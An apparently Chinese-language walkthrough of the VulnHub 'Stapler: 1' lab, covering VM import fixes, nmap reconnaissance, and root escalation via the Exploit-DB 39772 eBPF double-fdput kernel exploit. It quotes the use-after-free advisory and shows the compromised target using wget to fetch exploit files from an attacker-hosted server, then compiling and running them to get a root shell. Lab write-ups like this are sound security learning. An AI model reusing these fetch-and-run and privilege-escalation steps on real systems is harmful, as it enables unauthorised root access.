Linux Kernel 4.4.0-21 (Ubuntu 16.04 x64) - Netfilter 'target_offset' Out-of-Bounds Pr | linux_x86-64/local/40049.c
是給64位linux,但靶機是32位,所以要用
Linux Kernel 4.4.x (Ubuntu 16.04) - 'double-fdput()' bpf(BPF_PROG_LOAD) Privilege Esc | linux/local/39772.txt
把這支POC給複製過來,並查看裡面內容。
$ searchsploit -m 39772
Exploit: Linux Kernel 4.4.x (Ubuntu 16.04) - 'double-fdput()' bpf(BPF_PROG_LOAD) Privilege Escalation
URL: https://www.exploit-db.com/exploits/39772
Path: /usr/share/exploitdb/exploits/linux/local/39772.txt
File Type: C source, ASCII text
Copied to: /home/nathan/target_machine/stapler/39772.txt
$ ls
1.txt 39646.py 39772.txt 512237901.jpeg hashfile pass.txt todo-list.txt vsftpd.conf wordpress-4.tar.gz
$ cat 39772.txt
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=808
In Linux >=4.4, when the CONFIG_BPF_SYSCALL config option is set and the
kernel.unprivileged_bpf_disabled sysctl is not explicitly set to 1 at runtime,
unprivileged code can use the bpf() syscall to load eBPF socket filter programs.
These conditions are fulfilled in Ubuntu 16.04.
When an eBPF program is loaded using bpf(BPF_PROG_LOAD, ...), the first
function that touches the supplied eBPF instructions is
replace_map_fd_with_map_ptr(), which looks for instructions that reference eBPF
map file descriptors and looks up pointers for the corresponding map files.
This is done as follows:
/* look for pseudo eBPF instructions that access map FDs and
* replace them with actual map pointers
*/
static int replace_map_fd_with_map_ptr(struct verifier_env *env)
{
struct bpf_insn *insn = env->prog->insnsi;
int insn_cnt = env->prog->len;
int i, j;
for (i = 0; i < insn_cnt; i++, insn++) {
[checks for bad instructions]
if (insn[0].code == (BPF_LD | BPF_IMM | BPF_DW)) {
struct bpf_map *map;
struct fd f;
[checks for bad instructions]
f = fdget(insn->imm);
map = __bpf_map_get(f);
if (IS_ERR(map)) {
verbose("fd %d is not pointing to valid bpf_map\n",
insn->imm);
fdput(f);
return PTR_ERR(map);
}
[...]
}
}
[...]
}
__bpf_map_get contains the following code:
/* if error is returned, fd is released.
* On success caller should complete fd access with matching fdput()
*/
struct bpf_map *__bpf_map_get(struct fd f)
{
if (!f.file)
return ERR_PTR(-EBADF);
if (f.file->f_op != &bpf_map_fops) {
fdput(f);
return ERR_PTR(-EINVAL);
}
return f.file->private_data;
}
The problem is that when the caller supplies a file descriptor number referring
to a struct file that is not an eBPF map, both __bpf_map_get() and
replace_map_fd_with_map_ptr() will call fdput() on the struct fd. If
__fget_light() detected that the file descriptor table is shared with another
task and therefore the FDPUT_FPUT flag is set in the struct fd, this will cause
the reference count of the struct file to be over-decremented, allowing an
attacker to create a use-after-free situation where a struct file is freed
although there are still references to it.
A simple proof of concept that causes oopses/crashes on a kernel compiled with
memory debugging options is attached as crasher.tar.
One way to exploit this issue is to create a writable file descriptor, start a
write operation on it, wait for the kernel to verify the file's writability,
then free the writable file and open a readonly file that is allocated in the
same place before the kernel writes into the freed file, allowing an attacker
to write data to a readonly file. By e.g. writing to /etc/crontab, root
privileges can then be obtained.
There are two problems with this approach:
The attacker should ideally be able to determine whether a newly allocated
struct file is located at the same address as the previously freed one. Linux
provides a syscall that performs exactly this comparison for the caller:
kcmp(getpid(), getpid(), KCMP_FILE, uaf_fd, new_fd).
In order to make exploitation more reliable, the attacker should be able to
pause code execution in the kernel between the writability check of the target
file and the actual write operation. This can be done by abusing the writev()
syscall and FUSE: The attacker mounts a FUSE filesystem that artificially delays
read accesses, then mmap()s a file containing a struct iovec from that FUSE
filesystem and passes the result of mmap() to writev(). (Another way to do this
would be to use the userfaultfd() syscall.)
writev() calls do_writev(), which looks up the struct file * corresponding to
the file descriptor number and then calls vfs_writev(). vfs_writev() verifies
that the target file is writable, then calls do_readv_writev(), which first
copies the struct iovec from userspace using import_iovec(), then performs the
rest of the write operation. Because import_iovec() performs a userspace memory
access, it may have to wait for pages to be faulted in - and in this case, it
has to wait for the attacker-owned FUSE filesystem to resolve the pagefault,
allowing the attacker to suspend code execution in the kernel at that point
arbitrarily.
An exploit that puts all this together is in exploit.tar. Usage:
user@host:~/ebpf_mapfd_doubleput$ ./compile.sh
user@host:~/ebpf_mapfd_doubleput$ ./doubleput
starting writev
woohoo, got pointer reuse
writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.
suid file detected, launching rootshell...
we have root privs now...
root@host:~/ebpf_mapfd_doubleput# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),999(vboxsf),1000(user)
This exploit was tested on a Ubuntu 16.04 Desktop system.
Fix: https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8358b02bf67d3a5d8a825070e1aa73f25fb2e4c7
Proof of Concept: https://bugs.chromium.org/p/project-zero/issues/attachment?aid=232552
Exploit-DB Mirror: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
照著上面txt的指示,在攻擊機上下載相關工具並解壓縮:
$ wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
--2022-11-06 13:41:24-- https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
Resolving github.com (github.com)... 20.27.177.113
Connecting to github.com (github.com)|20.27.177.113|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://raw.githubusercontent.com/offensive-security/exploitdb-bin-sploits/master/bin-sploits/39772.zip [following]
--2022-11-06 13:41:25-- https://raw.githubusercontent.com/offensive-security/exploitdb-bin-sploits/master/bin-sploits/39772.zip
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.111.133, 185.199.108.133, 185.199.109.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.111.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7025 (6.9K) [application/zip]
Saving to: ‘39772.zip’
39772.zip 100%[=================================================>] 6.86K --.-KB/s in 0s
2022-11-06 13:41:25 (119 MB/s) - ‘39772.zip’ saved [7025/7025]
$ ls
1.txt 39772.txt 512237901.jpeg pass.txt vsftpd.conf
39646.py 39772.zip hashfile todo-list.txt wordpress-4.tar.gz
$ unzip 39772.zip
Archive: 39772.zip
creating: 39772/
inflating: 39772/.DS_Store
creating: __MACOSX/
creating: __MACOSX/39772/
inflating: __MACOSX/39772/._.DS_Store
inflating: 39772/crasher.tar
inflating: __MACOSX/39772/._crasher.tar
inflating: 39772/exploit.tar
inflating: __MACOSX/39772/._exploit.tar
$ cd 39772
$ ls
crasher.tar exploit.tar
$ tar xvf exploit.tar
ebpf_mapfd_doubleput_exploit/
ebpf_mapfd_doubleput_exploit/hello.c
ebpf_mapfd_doubleput_exploit/suidhelper.c
ebpf_mapfd_doubleput_exploit/compile.sh
ebpf_mapfd_doubleput_exploit/doubleput.c
$ ls
crasher.tar ebpf_mapfd_doubleput_exploit exploit.tar
$ cd ebpf_mapfd_doubleput_exploit/
$ ls
compile.sh doubleput.c hello.c suidhelper.c
在攻擊機上開一個server,讓靶機可以下載:
$ python -m SimpleHTTPServer 80
/usr/bin/python: No module named SimpleHTTPServer
$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
172.22.128.1 - - [06/Nov/2022 13:46:52] "GET / HTTP/1.1" 200 -
172.22.128.1 - - [06/Nov/2022 13:46:52] code 404, message File not found
172.22.128.1 - - [06/Nov/2022 13:46:52] "GET /favicon.ico HTTP/1.1" 404 -
開起來的網頁長這樣:
靶機透過以下指令下載上圖網頁上的攻擊腳本,並編譯執行:
www-data@red:/$ cd /tmp
cd /tmp
www-data@red:/tmp$ wget http://172.22.137.180:8000/compile.sh
wget http://172.22.137.180:8000/compile.sh
--2022-11-06 05:58:48-- http://172.22.137.180:8000/compile.sh
Connecting to 172.22.137.180:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 155 [text/x-sh]
Saving to: 'compile.sh'
compile.sh 100%[===================>] 155 --.-KB/s in 0s
2022-11-06 05:58:48 (50.8 MB/s) - 'compile.sh' saved [155/155]
www-data@red:/tmp$ wget http://172.22.137.180:8000/doubleput.c
wget http://172.22.137.180:8000/doubleput.c
--2022-11-06 05:58:58-- http://172.22.137.180:8000/doubleput.c
Connecting to 172.22.137.180:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4188 (4.1K) [text/x-csrc]
Saving to: 'doubleput.c'
doubleput.c 100%[===================>] 4.09K --.-KB/s in 0s
2022-11-06 05:58:58 (670 MB/s) - 'doubleput.c' saved [4188/4188]
www-data@red:/tmp$ wget http://172.22.137.180:8000/hello.c
wget http://172.22.137.180:8000/hello.c
--2022-11-06 05:59:05-- http://172.22.137.180:8000/hello.c
Connecting to 172.22.137.180:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2186 (2.1K) [text/x-csrc]
Saving to: 'hello.c'
hello.c 100%[===================>] 2.13K --.-KB/s in 0s
2022-11-06 05:59:05 (591 MB/s) - 'hello.c' saved [2186/2186]
www-data@red:/tmp$ wget http://172.22.137.180:8000/suidhelper.c
wget http://172.22.137.180:8000/suidhelper.c
--2022-11-06 05:59:11-- http://172.22.137.180:8000/suidhelper.c
Connecting to 172.22.137.180:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 255 [text/x-csrc]
Saving to: 'suidhelper.c'
suidhelper.c 100%[===================>] 255 --.-KB/s in 0s
2022-11-06 05:59:11 (76.3 MB/s) - 'suidhelper.c' saved [255/255]
www-data@red:/tmp$ chmod +x compile.sh
chmod +x compile.sh
www-data@red:/tmp$ ./compile.sh
./compile.sh
doubleput.c: In function 'make_setuid':
doubleput.c:91:13: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
.insns = (__aligned_u64) insns,
^
doubleput.c:92:15: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
.license = (__aligned_u64)""
^
www-data@red:/tmp$ ls
ls
compile.sh doubleput.c hello.c suidhelper.c
doubleput hello suidhelper vmware-root
www-data@red:/tmp$ ./doubleput
./doubleput
starting writev
woohoo, got pointer reuse
writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.
suid file detected, launching rootshell...
we have root privs now...
root@red:/tmp#
提權成功。
找flag,這一次locate指令不能用,只能從root資料夾底下去找。
root@red:/# locate root
locate root
bash: locate: command not found
root@red:/# sudo ls -al /root
sudo ls -al /root
total 208
drwx------ 4 root root 4096 Nov 6 05:56 .
drwxr-xr-x 22 root root 4096 Jun 7 2016 ..
-rw------- 1 root root 1 Jun 5 2016 .bash_history
-rw-r--r-- 1 root root 3106 Oct 22 2015 .bashrc
-rw-r--r-- 1 root root 50 Jun 3 2016 .my.cnf
-rw------- 1 root root 1 Jun 5 2016 .mysql_history
drwxr-xr-x 11 root root 4096 Jun 3 2016 .oh-my-zsh
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw------- 1 root root 1024 Jun 5 2016 .rnd
drwxr-xr-x 2 root root 4096 Jun 4 2016 .vim
-rw------- 1 root root 1 Jun 5 2016 .viminfo
-rw-r--r-- 1 root root 39206 Jun 3 2016 .zcompdump
-rw-r--r-- 1 root root 39352 Jun 3 2016 .zcompdump-red-5.1.1
-rw-r--r-- 1 root root 17 Jun 3 2016 .zsh-update
-rw------- 1 root root 39 Jun 5 2016 .zsh_history
-rw-r--r-- 1 root root 2839 Jun 3 2016 .zshrc
-rwxr-xr-x 1 root root 1090 Jun 5 2016 fix-wordpress.sh
-rw-r--r-- 1 root root 463 Jun 5 2016 flag.txt
-rw-r--r-- 1 root root 345 Jun 5 2016 issue
-rwxr-xr-x 1 root root 103 Jun 5 2016 python.sh
-rw-r--r-- 1 root root 54405 Jun 5 2016 wordpress.sql
root@red:/# cat /root/flag.txt
cat /root/flag.txt
~~~~~~~~~~<(Congratulations)>~~~~~~~~~~
.-'''''-.
|'-----'|
|-.....-|
| |
| |
_,._ | |
__.o` o`"-. | |
.-O o `"-.o O )_,._ | |
( o O o )--.-"`O o"-.`'-----'`
'--------' ( o O o)
`----------`
b6b545dc11b7a270f4bad23432190c75162c4a2b
VMware 导入 ovf 文件格式异常报错之探解 | Secrypt Agency
[第8天]偵查-Samba - iT 邦幫忙::一起幫忙解決難題,拯救 IT 人的一天
红队渗透测试之Stapler-1——Wordpress后台getshell五种方法 - FreeBuf网络安全行业门户
VulnHub ‘Stapler: 1’ - CTF - Jack Hacks
https://www.c0dedead.io/stapler-walkthrough/
No.10-VulnHub-Stapler: 1-Walkthrough渗透学习_大余xiyou的博客-CSDN博客
John the Ripper (JTR) 密碼暴力破解工具 - 駭客貓咪 HackerCat
https://bond-o.medium.com/vulnhub-stapler-1-ab928900d614
Kali WPScan的使用(WordPress扫描工具)
VulnHub - Stapler: 1 Walkthrough - StefLan's Security Blog
[【Vulnhub】 Stapler:1 | Secrypt Agency
首先從這裡Stapler: 1 ~ VulnHub下載,但是直接把Stapler.ovf
導入vmware的話會出錯。根據VMware 导入 ovf 文件格式异常报错之探解 | Secrypt Agency這一篇可以解決。
這裡再一次簡單說一下。環境是vmware workstation pro 16,解壓縮出來有Stapler.ovf、Stapler-disk1.vmdk、Stapler_readme.txt跟Stapler.mf,因為Stapler.ovf寫的方式有錯,才會出現錯誤。用文字編輯軟體如notepad++,把Stapler.ovf打開,替換成以下內容:
<?xml version="1.0" encoding="UTF-8"?>
<!--Generated by VMware ovftool 4.1.0 (build-3018522), UTC time: 2016-06-07T10:02:55.518806Z-->
<Envelope vmw:buildId="build-3018522" xmlns="http://schemas.dmtf.org/ovf/envelope/1" xmlns:cim="http://schemas.dmtf.org/wbem/wscim/1/common" xmlns:ovf="http://schemas.dmtf.org/ovf/envelope/1" xmlns:rasd="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/CIM_ResourceAllocationSettingData" xmlns:vmw="http://www.vmware.com/schema/ovf" xmlns:vssd="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/CIM_VirtualSystemSettingData" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<References>
<File ovf:href="Stapler-disk1.vmdk" ovf:id="file1" ovf:size="757926912"/>
</References>
<DiskSection>
<Info>Virtual disk information</Info>
<Disk ovf:capacity="20" ovf:capacityAllocationUnits="byte * 2^30" ovf:diskId="vmdisk1" ovf:fileRef="file1" ovf:format="http://www.vmware.com/interfaces/specifications/vmdk.html#streamOptimized" ovf:populatedSize="2212560896"/>
</DiskSection>
<NetworkSection>
<Info>The list of logical networks</Info>
<Network ovf:name="hostonly">
<Description>The hostonly network</Description>
</Network>
</NetworkSection>
<VirtualSystem ovf:id="vm">
<Info>A virtual machine</Info>
<Name>Stapler</Name>
<OperatingSystemSection ovf:id="93" vmw:osType="ubuntuGuest">
<Info>The kind of installed guest operating system</Info>
</OperatingSystemSection>
<VirtualHardwareSection>
<Info>Virtual hardware requirements</Info>
<System>
<vssd:Caption>Virtual Hardware Family</vssd:Caption>
<vssd:InstanceID>0</vssd:InstanceID>
<vssd:VirtualSystemIdentifier>Stapler</vssd:VirtualSystemIdentifier>
<vssd:VirtualSystemType>vmx-15</vssd:VirtualSystemType>
</System>
<Item>
<rasd:AllocationUnits>hertz * 10^6</rasd:AllocationUnits>
<rasd:Caption>1 virtual CPU(s)</rasd:Caption>
<rasd:Description>Number of Virtual CPUs</rasd:Description>
<rasd:InstanceID>1</rasd:InstanceID>
<rasd:ResourceType>3</rasd:ResourceType>
<rasd:VirtualQuantity>1</rasd:VirtualQuantity>
</Item>
<Item>
<rasd:AllocationUnits>byte * 2^20</rasd:AllocationUnits>
<rasd:Caption>1024MB of memory</rasd:Caption>
<rasd:Description>Memory Size</rasd:Description>
<rasd:InstanceID>2</rasd:InstanceID>
<rasd:ResourceType>4</rasd:ResourceType>
<rasd:VirtualQuantity>1024</rasd:VirtualQuantity>
</Item>
<Item>
<rasd:Address>0</rasd:Address>
<rasd:Caption>sataController0</rasd:Caption>
<rasd:Description>SATA Controller</rasd:Description>
<rasd:InstanceID>3</rasd:InstanceID>
<rasd:ResourceSubType>AHCI</rasd:ResourceSubType>
<rasd:ResourceType>20</rasd:ResourceType>
</Item>
<Item ovf:required="false">
<rasd:Address>0</rasd:Address>
<rasd:Caption>usb</rasd:Caption>
<rasd:Description>USB Controller (EHCI)</rasd:Description>
<rasd:InstanceID>4</rasd:InstanceID>
<rasd:ResourceSubType>vmware.usb.ehci</rasd:ResourceSubType>
<rasd:ResourceType>23</rasd:ResourceType>
<vmw:Config ovf:required="false" vmw:key="ehciEnabled" vmw:value="true"/>
</Item>
<Item>
<rasd:Address>0</rasd:Address>
<rasd:Caption>scsiController0</rasd:Caption>
<rasd:Description>SCSI Controller</rasd:Description>
<rasd:InstanceID>5</rasd:InstanceID>
<rasd:ResourceSubType>lsilogic</rasd:ResourceSubType>
<rasd:ResourceType>6</rasd:ResourceType>
</Item>
<Item>
<rasd:AddressOnParent>2</rasd:AddressOnParent>
<rasd:AutomaticAllocation>true</rasd:AutomaticAllocation>
<rasd:Caption>ethernet0</rasd:Caption>
<rasd:Connection>hostonly</rasd:Connection>
<rasd:Description>PCNet32 ethernet adapter on "hostonly"</rasd:Description>
<rasd:InstanceID>6</rasd:InstanceID>
<rasd:ResourceSubType>PCNet32</rasd:ResourceSubType>
<rasd:ResourceType>10</rasd:ResourceType>
<vmw:Config ovf:required="false" vmw:key="slotInfo.pciSlotNumber" vmw:value="33"/>
<vmw:Config ovf:required="false" vmw:key="wakeOnLanEnabled" vmw:value="false"/>
</Item>
<Item ovf:required="false">
<rasd:AutomaticAllocation>false</rasd:AutomaticAllocation>
<rasd:Caption>video</rasd:Caption>
<rasd:InstanceID>7</rasd:InstanceID>
<rasd:ResourceType>24</rasd:ResourceType>
<vmw:Config ovf:required="false" vmw:key="enable3DSupport" vmw:value="false"/>
<vmw:Config ovf:required="false" vmw:key="slotInfo.pciSlotNumber" vmw:value="33"/>
</Item>
<Item ovf:required="false">
<rasd:AutomaticAllocation>false</rasd:AutomaticAllocation>
<rasd:Caption>vmci</rasd:Caption>
<rasd:InstanceID>8</rasd:InstanceID>
<rasd:ResourceSubType>vmware.vmci</rasd:ResourceSubType>
<rasd:ResourceType>1</rasd:ResourceType>
<vmw:Config ovf:required="false" vmw:key="slotInfo.pciSlotNumber" vmw:value="33"/>
</Item>
<Item>
<rasd:AddressOnParent>0</rasd:AddressOnParent>
<rasd:Caption>disk0</rasd:Caption>
<rasd:HostResource>ovf:/disk/vmdisk1</rasd:HostResource>
<rasd:InstanceID>9</rasd:InstanceID>
<rasd:Parent>3</rasd:Parent>
<rasd:ResourceType>17</rasd:ResourceType>
<vmw:Config ovf:required="false" vmw:key="slotInfo.pciSlotNumber" vmw:value="33"/>
</Item>
<Item ovf:required="false">
<rasd:AddressOnParent>1</rasd:AddressOnParent>
<rasd:AutomaticAllocation>false</rasd:AutomaticAllocation>
<rasd:Caption>cdrom0</rasd:Caption>
<rasd:InstanceID>10</rasd:InstanceID>
<rasd:Parent>3</rasd:Parent>
<rasd:ResourceType>15</rasd:ResourceType>
<vmw:Config ovf:required="false" vmw:key="slotInfo.pciSlotNumber" vmw:value="33"/>
</Item>
<vmw:Config ovf:required="false" vmw:key="cpuHotAddEnabled" vmw:value="true"/>
<vmw:Config ovf:required="false" vmw:key="memoryHotAddEnabled" vmw:value="true"/>
<vmw:Config ovf:required="false" vmw:key="powerOpInfo.powerOffType" vmw:value="soft"/>
<vmw:Config ovf:required="false" vmw:key="powerOpInfo.resetType" vmw:value="soft"/>
<vmw:Config ovf:required="false" vmw:key="powerOpInfo.suspendType" vmw:value="soft"/>
<vmw:Config ovf:required="false" vmw:key="tools.afterPowerOn" vmw:value="true"/>
<vmw:Config ovf:required="false" vmw:key="tools.afterResume" vmw:value="true"/>
<vmw:Config ovf:required="false" vmw:key="tools.beforeGuestShutdown" vmw:value="true"/>
<vmw:Config ovf:required="false" vmw:key="tools.beforeGuestStandby" vmw:value="true"/>
<vmw:Config ovf:required="false" vmw:key="tools.syncTimeWithHost" vmw:value="true"/>
<vmw:Config ovf:required="false" vmw:key="tools.toolsUpgradePolicy" vmw:value="upgradeAtPowerCycle"/>
</VirtualHardwareSection>
<AnnotationSection ovf:required="false">
<Info>A human-readable annotation</Info>
<Annotation>--[[~~Enjoy. Have fun. Happy Hacking.~~]]--
+ There are multiple methods to-do this machine: At least
-- Two (2) paths to get a limited shell
-- At least three (3) ways to get a root access</Annotation>
</AnnotationSection>
</VirtualSystem>
</Envelope>
接下來再修改Stapler.mf,因為Stapler.mf有Stapler.ovf的sha1的值,所以要改一下。Win10下打開powershell,先用cd指令切換到Stapler.ovf的目錄,再輸入以下指令certutil -hashfile .\Stapler.ovf sha1
,算出sha1值。
PS D:\VM_host\Stapler> certutil -hashfile .\Stapler.ovf sha1
SHA1 hash of .\Stapler.ovf:
0737f41d2e522cda052c876ccb1fba6235dbacc5
CertUtil: -hashfile command completed successfully.
接下來到這個畫面:
點中間那個,再度載入Stapler.ovf,這時vmware會問名稱跟儲存位置。注意儲存位置不要有原本舊的Stapler-disk1.vmdk在。另外,開機之前記得跟kali的虛擬機網路連接方式要一樣(NAT或Bridge)。
先找出靶機IP:
$ nmap -sP 192.168.44.0/24
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-31 13:00 CST
Nmap scan report for 192.168.44.129
Host is up (0.0015s latency).
Nmap scan report for 192.168.44.227
Host is up (0.0039s latency).
Nmap done: 256 IP addresses (2 hosts up) scanned in 20.92 seconds
在kali虛擬機打ifconfig指令可知IP是192.168.44.129
,所以靶機IP自然就是227了。之後再對靶機做更進一步的掃描:
$ nmap -A -T4 192.168.44.227
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-31 13:00 CST
Nmap scan report for 192.168.44.227
Host is up (0.0029s latency).
Not shown: 992 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
20/tcp closed ftp-data
21/tcp open ftp vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV failed: 550 Permission denied.
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 192.168.44.1
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 81:21:ce:a1:1a:05:b1:69:4f:4d:ed:80:28:e8:99:05 (RSA)
| 256 5b:a5:bb:67:91:1a:51:c2:d3:21:da:c0:ca:f0:db:9e (ECDSA)
|_ 256 6d:01:b7:73:ac:b0:93:6f:fa:b9:89:e6:ae:3c:ab:d3 (ED25519)
53/tcp open domain dnsmasq 2.75
| dns-nsid:
|_ bind.version: dnsmasq-2.75
80/tcp open http PHP cli server 5.5 or later
|_http-title: 404 Not Found
139/tcp open netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)
666/tcp open doom?
| fingerprint-strings:
| NULL:
| message2.jpgUT
| QWux
| "DL[E
| #;3[
| \xf6
| u([r
| qYQq
| Y_?n2
| 3&M~{
| 9-a)T
| L}AJ
|_ .npy.9
3306/tcp open mysql MySQL 5.7.12-0ubuntu1
| mysql-info:
| Protocol: 10
| Version: 5.7.12-0ubuntu1
| Thread ID: 8
| Capabilities flags: 63487
| Some Capabilities: Support41Auth, Speaks41ProtocolOld, IgnoreSigpipes, SupportsTransactions, ConnectWithDatabase, SupportsCompression, LongPassword, Speaks41ProtocolNew, InteractiveClient, DontAllowDatabaseTableColumn, ODBCClient, SupportsLoadDataLocal, LongColumnFlag, IgnoreSpaceBeforeParenthesis, FoundRows, SupportsAuthPlugins, SupportsMultipleResults, SupportsMultipleStatments
| Status: Autocommit
| Salt: e"b`,f\x1B]1Sx;1_\x0D\x12[v|I
|_ Auth Plugin Name: mysql_native_password
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port666-TCP:V=7.92%I=7%D=10/31%Time=635F5686%P=x86_64-pc-linux-gnu%r(NU
SF:LL,2D58,"PK\x03\x04\x14\0\x02\0\x08\0d\x80\xc3Hp\xdf\x15\x81\xaa,\0\0\x
SF:152\0\0\x0c\0\x1c\0message2\.jpgUT\t\0\x03\+\x9cQWJ\x9cQWux\x0b\0\x01\x
SF:04\xf5\x01\0\0\x04\x14\0\0\0\xadz\x0bT\x13\xe7\xbe\xefP\x94\x88\x88A@\x
SF:a2\x20\x19\xabUT\xc4T\x11\xa9\x102>\x8a\xd4RDK\x15\x85Jj\xa9\"DL\[E\xa2
SF:\x0c\x19\x140<\xc4\xb4\xb5\xca\xaen\x89\x8a\x8aV\x11\x91W\xc5H\x20\x0f\
SF:xb2\xf7\xb6\x88\n\x82@%\x99d\xb7\xc8#;3\[\r_\xcddr\x87\xbd\xcf9\xf7\xae
SF:u\xeeY\xeb\xdc\xb3oX\xacY\xf92\xf3e\xfe\xdf\xff\xff\xff=2\x9f\xf3\x99\x
SF:d3\x08y}\xb8a\xe3\x06\xc8\xc5\x05\x82>`\xfe\x20\xa7\x05:\xb4y\xaf\xf8\x
SF:a0\xf8\xc0\^\xf1\x97sC\x97\xbd\x0b\xbd\xb7nc\xdc\xa4I\xd0\xc4\+j\xce\[\
SF:x87\xa0\xe5\x1b\xf7\xcc=,\xce\x9a\xbb\xeb\xeb\xdds\xbf\xde\xbd\xeb\x8b\
SF:xf4\xfdis\x0f\xeeM\?\xb0\xf4\x1f\xa3\xcceY\xfb\xbe\x98\x9b\xb6\xfb\xe0\
SF:xdc\]sS\xc5bQ\xfa\xee\xb7\xe7\xbc\x05AoA\x93\xfe9\xd3\x82\x7f\xcc\xe4\x
SF:d5\x1dx\xa2O\x0e\xdd\x994\x9c\xe7\xfe\x871\xb0N\xea\x1c\x80\xd63w\xf1\x
SF:af\xbd&&q\xf9\x97'i\x85fL\x81\xe2\\\xf6\xb9\xba\xcc\x80\xde\x9a\xe1\xe2
SF::\xc3\xc5\xa9\x85`\x08r\x99\xfc\xcf\x13\xa0\x7f{\xb9\xbc\xe5:i\xb2\x1bk
SF:\x8a\xfbT\x0f\xe6\x84\x06/\xe8-\x17W\xd7\xb7&\xb9N\x9e<\xb1\\\.\xb9\xcc
SF:\xe7\xd0\xa4\x19\x93\xbd\xdf\^\xbe\xd6\xcdg\xcb\.\xd6\xbc\xaf\|W\x1c\xf
SF:d\xf6\xe2\x94\xf9\xebj\xdbf~\xfc\x98x'\xf4\xf3\xaf\x8f\xb9O\xf5\xe3\xcc
SF:\x9a\xed\xbf`a\xd0\xa2\xc5KV\x86\xad\n\x7fou\xc4\xfa\xf7\xa37\xc4\|\xb0
SF:\xf1\xc3\x84O\xb6nK\xdc\xbe#\)\xf5\x8b\xdd{\xd2\xf6\xa6g\x1c8\x98u\(\[r
SF:\xf8H~A\xe1qYQq\xc9w\xa7\xbe\?}\xa6\xfc\x0f\?\x9c\xbdTy\xf9\xca\xd5\xaa
SF:k\xd7\x7f\xbcSW\xdf\xd0\xd8\xf4\xd3\xddf\xb5F\xabk\xd7\xff\xe9\xcf\x7fy
SF:\xd2\xd5\xfd\xb4\xa7\xf7Y_\?n2\xff\xf5\xd7\xdf\x86\^\x0c\x8f\x90\x7f\x7
SF:f\xf9\xea\xb5m\x1c\xfc\xfef\"\.\x17\xc8\xf5\?B\xff\xbf\xc6\xc5,\x82\xcb
SF:\[\x93&\xb9NbM\xc4\xe5\xf2V\xf6\xc4\t3&M~{\xb9\x9b\xf7\xda-\xac\]_\xf9\
SF:xcc\[qt\x8a\xef\xbao/\xd6\xb6\xb9\xcf\x0f\xfd\x98\x98\xf9\xf9\xd7\x8f\x
SF:a7\xfa\xbd\xb3\x12_@N\x84\xf6\x8f\xc8\xfe{\x81\x1d\xfb\x1fE\xf6\x1f\x81
SF:\xfd\xef\xb8\xfa\xa1i\xae\.L\xf2\\g@\x08D\xbb\xbfp\xb5\xd4\xf4Ym\x0bI\x
SF:96\x1e\xcb\x879-a\)T\x02\xc8\$\x14k\x08\xae\xfcZ\x90\xe6E\xcb<C\xcap\x8
SF:f\xd0\x8f\x9fu\x01\x8dvT\xf0'\x9b\xe4ST%\x9f5\x95\xab\rSWb\xecN\xfb&\xf
SF:4\xed\xe3v\x13O\xb73A#\xf0,\xd5\xc2\^\xe8\xfc\xc0\xa7\xaf\xab4\xcfC\xcd
SF:\x88\x8e}\xac\x15\xf6~\xc4R\x8e`wT\x96\xa8KT\x1cam\xdb\x99f\xfb\n\xbc\x
SF:bcL}AJ\xe5H\x912\x88\(O\0k\xc9\xa9\x1a\x93\xb8\x84\x8fdN\xbf\x17\xf5\xf
SF:0\.npy\.9\x04\xcf\x14\x1d\x89Rr9\xe4\xd2\xae\x91#\xfbOg\xed\xf6\x15\x04
SF:\xf6~\xf1\]V\xdcBGu\xeb\xaa=\x8e\xef\xa4HU\x1e\x8f\x9f\x9bI\xf4\xb6GTQ\
SF:xf3\xe9\xe5\x8e\x0b\x14L\xb2\xda\x92\x12\xf3\x95\xa2\x1c\xb3\x13\*P\x11
SF:\?\xfb\xf3\xda\xcaDfv\x89`\xa9\xe4k\xc4S\x0e\xd6P0");
Service Info: Host: RED; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.9-Ubuntu)
| Computer name: red
| NetBIOS computer name: RED\x00
| Domain name: \x00
| FQDN: red
|_ System time: 2022-10-31T12:58:46+00:00
|_clock-skew: mean: 7h57m40s, deviation: 0s, median: 7h57m40s
